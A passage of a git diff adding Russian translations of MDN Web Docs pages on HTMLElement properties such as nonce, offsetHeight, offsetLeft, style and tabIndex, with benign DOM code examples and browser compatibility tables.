+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.60<br>
+    (Removed in Opera 15)</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatGeckoMobile("1.0")}}</p>
+   </td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+   <td>{{CompatGeckoMobile("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/nonce/index.html b/files/ru/web/api/htmlelement/nonce/index.html
new file mode 100644
index 0000000000..e47f3aea23
--- /dev/null
+++ b/files/ru/web/api/htmlelement/nonce/index.html
@@ -0,0 +1,44 @@
+---
+title: HTMLElement.nonce
+slug: Web/API/HTMLElement/nonce
+translation_of: Web/API/HTMLOrForeignElement/nonce
+---
+<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p>
+
+<p>Свойство <strong><code>nonce</code></strong> интерфейса {{domxref("HTMLElement")}} возвращает криптографический номер, который используется политикой безопасности содержимого для определения того, будет ли разрешена дальнейшая работа с данной выборкой.</p>
+
+<p>В более поздних реализациях элементы, имеющие атрибут nonce, предоставляют его только скриптам (а не сторонним каналам, таким как селекторы атрибутов CSS).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>nonce</em> = HTMLElement.nonce
+HTMLElement.nonce = <em>nonce</em></pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Криптографический код.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.HTMLElement.nonce")}}</p>
+</div>
diff --git a/files/ru/web/api/htmlelement/offsetheight/index.html b/files/ru/web/api/htmlelement/offsetheight/index.html
new file mode 100644
index 0000000000..e8d14948a9
--- /dev/null
+++ b/files/ru/web/api/htmlelement/offsetheight/index.html
@@ -0,0 +1,71 @@
+---
+title: HTMLElement.offsetHeight
+slug: Web/API/HTMLElement/offsetHeight
+translation_of: Web/API/HTMLElement/offsetHeight
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLElement.offsetHeight</code></strong> - высота элемента с учетом вертикальных полей и границ в пикселях. Свойство неизменяемое, только для чтения. Возвращаемое значение - целочисленное.</p>
+
+<p>Typically, an element's <code>offsetHeight</code> is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.</p>
+
+<p>For the document body object, the measurement includes total linear content height instead of the element CSS height. Floated elements extending below other linear content are ignored.</p>
+
+<div class="note">
+<p>This property will round the value to an integer. If you need a fractional value, use {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Syntax</h2>
+
+<pre class="eval">var <em>intElemOffsetHeight</em> = document.getElementById(<em>id_attribute_value</em>).offsetHeight;
+</pre>
+
+<p><em>intElemOffsetHeight</em> is a variable storing an integer corresponding to the offsetHeight pixel value of the element. The offsetHeight property is readonly.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+
+<p>The example image above shows a scrollbar and an offsetHeight which fits on the window. However, non-scrollable elements may have large offsetHeight values, much larger than the visible content. These elements are typically contained within scrollable elements; consequently these non-scrollable elements may be completely or partly invisible, depending on the scrollTop setting of the scrollable container.</p>
+
+<p> </p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetHeight', 'offsetLeft')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p><code>offsetHeight</code> is a property of the DHTML object model which was first introduced by MSIE. It is sometimes referred to as an element's physical/graphical dimensions, or an element's border-box height.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.HTMLElement.offsetHeight")}}</p>
+
+<h2 id="See_Also" name="See_Also">See Also</h2>
+
+<ul>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li>{{domxref("HTMLElement.offsetWidth")}}</li>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/offsetleft/index.html b/files/ru/web/api/htmlelement/offsetleft/index.html
new file mode 100644
index 0000000000..ded2335950
--- /dev/null
+++ b/files/ru/web/api/htmlelement/offsetleft/index.html
@@ -0,0 +1,81 @@
+---
+title: HTMLElement.offsetLeft
+slug: Web/API/HTMLElement/offsetLeft
+translation_of: Web/API/HTMLElement/offsetLeft
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Свойство <strong>offsetLeft</strong> содержит левое смещение элемента относительно offsetParent. Содержит расстояние от offsetParent до границы элемента.</p>
+
+<p>For block-level elements, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code> describe the border box of an element relative to the <code>offsetParent</code>.</p>
+
+<p>However, for inline-level elements (such as <strong>span</strong>) that can wrap from one line to the next, <code>offsetTop</code> and <code>offsetLeft</code> describe the positions of the <em>first</em> border box (use {{domxref("Element.getClientRects()")}} to get its width and height), while <code>offsetWidth</code> and <code>offsetHeight</code> describe the dimensions of the <em>bounding</em> border box (use {{domxref("Element.getBoundingClientRect()")}} to get its position). Therefore, a box with the left, top, width and height of <code>offsetLeft</code>, <code>offsetTop</code>, <code>offsetWidth</code> and <code>offsetHeight</code> will not be a bounding box for a span with wrapped text.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval notranslate"><var>left</var> = <var>element</var>.offsetLeft;
+</pre>
+
+<p><code><var>left</var></code> is an integer representing the offset to the left in pixels <em>from the closest relatively positioned</em> parent element.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js notranslate">var colorTable = document.getElementById("t1");
+var tOLeft = colorTable.offsetLeft;
+
+if (tOLeft &gt; 5) {
+  // large left offset: do something here
+}
+</pre>
+
+<p>This example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.</p>
+
+<p><img alt="Image:offsetLeft.jpg" class="internal" src="/@api/deki/files/790/=OffsetLeft.jpg"></p>
+
+<pre class="brush: html notranslate">&lt;div style="width: 300px; border-color:blue; border-style:solid; border-width:1;"&gt;
+  &lt;span&gt;Short span. &lt;/span&gt;
+  &lt;span id="longspan"&gt;Long span that wraps within this div.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="box" style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-index: 10"&gt;
+&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+  var box = document.getElementById("box");
+  var longspan = document.getElementById("longspan");
+  box.style.left = longspan.offsetLeft + document.body.scrollLeft + "px";
+  box.style.top = longspan.offsetTop + document.body.scrollTop + "px";
+  box.style.width = longspan.offsetWidth + "px";
+  box.style.height = longspan.offsetHeight<span style="line-height: normal;"> + "px"</span><span style="line-height: normal;">;
+</span><span style="line-height: normal;">&lt;/script&gt; </span></pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetleft', 'offsetLeft')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.offsetLeft")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetParent")}}, {{domxref("HTMLElement.offsetTop")}}, {{domxref("HTMLElement.offsetWidth")}}, {{domxref("HTMLElement.offsetHeight")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/offsettop/index.html b/files/ru/web/api/htmlelement/offsettop/index.html
new file mode 100644
index 0000000000..e001d4e951
--- /dev/null
+++ b/files/ru/web/api/htmlelement/offsettop/index.html
@@ -0,0 +1,56 @@
+---
+title: HTMLElement.offsetTop
+slug: Web/API/HTMLElement/offsetTop
+translation_of: Web/API/HTMLElement/offsetTop
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLElement.offsetTop - </code></strong><code>свойство элемента доступно только для чтения,</code> возвращает расстояние текущего элемента по отношению к верхней части {{domxref("HTMLelement.offsetParent","offsetParent")}} узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>topPos</var> = element.offsetTop;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>topPos</code> - <code>это количество пикселей на которые делается отступ сверху, отсносительно родительского элемента.</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var d = document.getElementById("div1");
+var topPos = d.offsetTop;
+
+if (topPos &gt; 10) {
+  // объект имеет отступ больше
+  // чем 10 пикселей относительно своего родителя
+}</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsettop', 'offsetTop')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility" name="Compatibility">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.offsetTop")}}</p>
diff --git a/files/ru/web/api/htmlelement/offsetwidth/index.html b/files/ru/web/api/htmlelement/offsetwidth/index.html
new file mode 100644
index 0000000000..d39fed6fb1
--- /dev/null
+++ b/files/ru/web/api/htmlelement/offsetwidth/index.html
@@ -0,0 +1,65 @@
+---
+title: HTMLElement.offsetWidth
+slug: Web/API/HTMLElement/offsetWidth
+translation_of: Web/API/HTMLElement/offsetWidth
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Свойство <code><strong>HTMLElement.offsetWidth</strong></code> возвращает ширину элемента. Как правило, <code>offsetWidth</code> — это значение, включающее горизонтальный отступ элемента, ширину вертикального скроллбара (если он есть) и CSS ширину.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var<em> offsetWidth</em> = <em>element</em>.offsetWidth;
+</pre>
+
+<p><code>offsetWidth</code> — свойство только для чтения</p>
+
+<div class="note">
+<p>Это свойство возвращает целочисленное значение. Если вам требуется дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<p> </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetwidth', 'offsetWidth')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">Примечание</h3>
+
+<p><code>offsetWidth — </code>свойство объектной модели <abbr title="Dynamic HyperText Markup Language">DHTML,</abbr> которое впервые было представлено в браузере MSIE. Его иногда называют физической/графической шириной или шириной блока элемента.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.HTMLElement.offsetWidth")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.clientWidth")}}</li>
+ <li>{{domxref("Element.scrollWidth")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
+
+<div class="noinclude"> </div>
diff --git a/files/ru/web/api/htmlelement/outertext/index.html b/files/ru/web/api/htmlelement/outertext/index.html
new file mode 100644
index 0000000000..27e46a5f77
--- /dev/null
+++ b/files/ru/web/api/htmlelement/outertext/index.html
@@ -0,0 +1,29 @@
+---
+title: HTMLElement.outerText
+slug: Web/API/HTMLElement/outerText
+translation_of: Web/API/HTMLElement/outerText
+---
+<div>{{APIRef("DOM")}} {{ Non-standard_header() }}</div>
+
+<p><strong><code>HTMLElement.outerText</code></strong> - нестандартное свойство. В качестве геттера возвращает то же значение, что и {{domxref("Node.innerText")}}. В качестве сеттера удаляет текущий элемент и вставляет вместо него указанный текст.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p><a href="http://stackoverflow.com/a/18481435">См. ответ на StackOverflow.</a></p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не является частью какой-либо спецификации. Обсуждение стандарта: <a href="https://github.com/whatwg/html/issues/668">whatwg/html#668</a>.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.outerText")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.outerHTML")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/pointerover_event/index.html b/files/ru/web/api/htmlelement/pointerover_event/index.html
new file mode 100644
index 0000000000..300dbfe89c
--- /dev/null
+++ b/files/ru/web/api/htmlelement/pointerover_event/index.html
@@ -0,0 +1,84 @@
+---
+title: 'HTMLElement: pointerover event'
+slug: Web/API/HTMLElement/pointerover_event
+translation_of: Web/API/HTMLElement/pointerover_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <code>pointerover</code> когда указатель входит в границы элемента слушаюшего события.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("PointerEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Event handler property</th>
+   <td><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onpointerover">onpointerover</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>С ипользованием <code>addEventListener()</code>:</p>
+
+<pre class="brush: js">const para = document.querySelector('p');
+
+para.addEventListener('pointerover', (event) =&gt; {
+  console.log('Pointer moved in');
+});</pre>
+
+<p>С использованием свойство элемента <code>onpointerover</code> :</p>
+
+<pre class="brush: js">const para = document.querySelector('p');
+
+para.onpointerover = (event) =&gt; {
+  console.log('Pointer moved in');
+};</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#the-pointerover-event')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.pointerover_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/gotpointercapture_event">gotpointercapture</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/lostpointercapture_event">lostpointercapture</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerenter_event">pointerenter</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerdown_event">pointerdown</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointermove_event">pointermove</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerup_event">pointerup</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointercancel_event">pointercancel</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerout_event">pointerout</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerleave_event">pointerleave</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onpointerover">onpointerover</a></code> свойство-обработчик события</li>
+ <li>Событие на элементах <code>Document</code>: событие <code><a href="/en-US/docs/Web/API/Document/pointerover_event">pointerover</a></code></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/style/index.html b/files/ru/web/api/htmlelement/style/index.html
new file mode 100644
index 0000000000..683bfa1101
--- /dev/null
+++ b/files/ru/web/api/htmlelement/style/index.html
@@ -0,0 +1,78 @@
+---
+title: HTMLElement.style
+slug: Web/API/HTMLElement/style
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - NeedsBrowserAgnosticism
+  - NeedsBrowserCompatibility
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Свойство
+  - Ссылки
+translation_of: Web/API/ElementCSSInlineStyle/style
+---
+<h2 id="Кратко">Кратко</h2>
+
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Свойство<strong> </strong><code><strong>HTMLElement.style</strong></code> используется для получения и установки инлайновых стилей. При получении возвращается объект <a href="/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> , который содержит список из всех свойств стилей для этого элемента с значениями заданными  для атрибутов , что определенны  в инлайновом стиле (см. <a href="/en-US/docs/Web/HTML/Global_attributes#style"><code>атрибут</code> стиля</a>) элемента. См. <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a> для получения списка CSS свойств применимых вместе со style.  </p>
+
+<h3 id="Настройка_стилей">Настройка стилей</h3>
+
+<p>Свойство style имеет тот же приоритет (и выше) в каскаде CSS как и прямая декларация стиля через атрибут style, полезен для настройки стиля отдельного специфичного элемента.</p>
+
+<p>Стили не следует устанавливать непосредственно через свойство <code>style</code> (например <code>elt.style = "color: blue;"</code>), поскольку оно считается доступным только для чтения и атрибут style возвращает объект <code>CSSStyleDeclaration</code> который доступен только для чтения. Вместо этого стили могут быть установлены путем присвоения значений свойствам <code>style</code>. Для добавления определенных стилей для элемента без изменения других свойств стилей предпочтительно использовать отдельные свойства <code>style</code> (например <code>elt.style.color = '...'</code>).
+При использовании <br><code>elt.style.cssText = '...'</code> или <code>elt.setAttribute('style','...')</code> устанавливаются стили перезаписывая уже существующие. Обратите внимание, что имена свойств стилей задаются в camel-case а не в kebab-case <code>elt.style.&lt;property&gt;</code> (т.е., <code>elt.style.fontSize</code>, а не <code>elt.style.font-size</code>).</p>
+
+<p>Объявленные стили сбрасываются присваиванием значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">null</span></font>, <br><code>elt.style.color = null</code></p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre><code>// Устанавливает несколько стилей в одном выражении
+elt.style.cssText = "color: blue; border: 1px solid black";
+// Или
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// Устанавливает определенный стиль оставляя другие значения стиля нетронутыми
+elt.style.color = "blue";</code></pre>
+
+<h3 id="Получение_стиль-информации">Получение стиль-информации</h3>
+
+<p>Свойство <code>style</code> в основном не имеет пользы в части информации о стиле элемента, оно только олицетворяет собой набор CSS деклараций атрибутов style элемента, а не тех которые проистекают из стиль-правил откуда-либо ещё, таких как стилевые правила раздела {{HTMLElement("head")}}, или внешней таблицы стилей. Для получения значений всех CSS свойств элемента вы должны использовать вместо этого {{domxref("window.getComputedStyle()")}}.</p>
+
+<div style="overflow: hidden;">
+<pre class="brush:js">var div = document.getElementById("div1");
+div.style.marginTop = ".25in";</pre>
+</div>
+
+<p>Следующий код показывает имена всех свойств стиля, значений, заданных явно для элемента elt и унаследованных "расчитанных" значений:</p>
+
+<pre class="brush:js">var elt = document.getElementById("elementIdHere");
+var out = "";
+var st = elt.style;
+var cs = window.getComputedStyle(elt, null);
+for (x in st) {
+  out += "  " + x + " = '" + st[x] + "' &gt; '" + cs[x] + "'\n";
+}</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p>
+
+<p><a href="https://www.w3.org/TR/cssom-1/#the-elementcssinlinestyle-interface">CSSOM: ElementCSSInlineStyle</a></p>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.style")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Using_dynamic_styling_information" title="DOM/Using dynamic styling information">Использование динамической стиль-информации</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/tabindex/index.html b/files/ru/web/api/htmlelement/tabindex/index.html
new file mode 100644
index 0000000000..fe41116fe4
--- /dev/null
+++ b/files/ru/web/api/htmlelement/tabindex/index.html
@@ -0,0 +1,134 @@
+---
+title: HTMLElement.tabIndex
+slug: Web/API/HTMLElement/tabIndex
+translation_of: Web/API/HTMLOrForeignElement/tabIndex
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Свойство <code><strong>HTMLElement.tabIndex </strong>предоставляет</code> возможность вызова по кнопке Tab текущего элемента.</p>
+
+<div>
+<div>Вызов по табуляции происходит в следующем порядке:</div>
+
+<ol>
+ <li><span style="font-size: 14px; line-height: 1.5;">элементы с положительным tabIndex. <span style="font-size: 14px; line-height: 1.5;">Элементы, имеющие одинаковое значение tabIndex вызываются в порядке появления в коде.  <span style="font-size: 14px; line-height: 1.5;">Переход осуществляется от меньших tabIndex до больших tabIndex. </span></span></span></li>
+ <li><span style="font-size: 14px; line-height: 1.5;">Элементы, которые не поддерживают атрибут tabIndex или поддерживают но tabIndex установлен в "0", выбираются по Tab в порядке их появления в коде.</span></li>
+</ol>
+
+<div>Элементы для которых установлена блокировка (disabled) не могут быть выбраны кнопкой Tab и не могут быть в фокусе.</div>
+
+<div> </div>
+
+<div><span style="font-size: 14px; line-height: 1.5;">Значения могут начинаться с любого числа, могут быть отрицательными и могут быть непоследовательными, однако разные браузеры можгут неправильно сработать при очень больших значениях.</span></div>
+
+<div> </div>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>elt</em>.tabIndex = <em>index</em>;
+var <em>index</em> = <em>elt</em>.tabIndex;
+</pre>
+
+<ul>
+ <li><em><var>index</var></em> - целое число</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var b1 = document.getElementById("button1");
+
+b1.tabIndex = 1;
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-tabindex', 'tabindex')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не было изменений с {{SpecName('DOM2 HTML')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-40676705', 'tabindex')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не было изменений с {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-40676705', 'tabindex')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
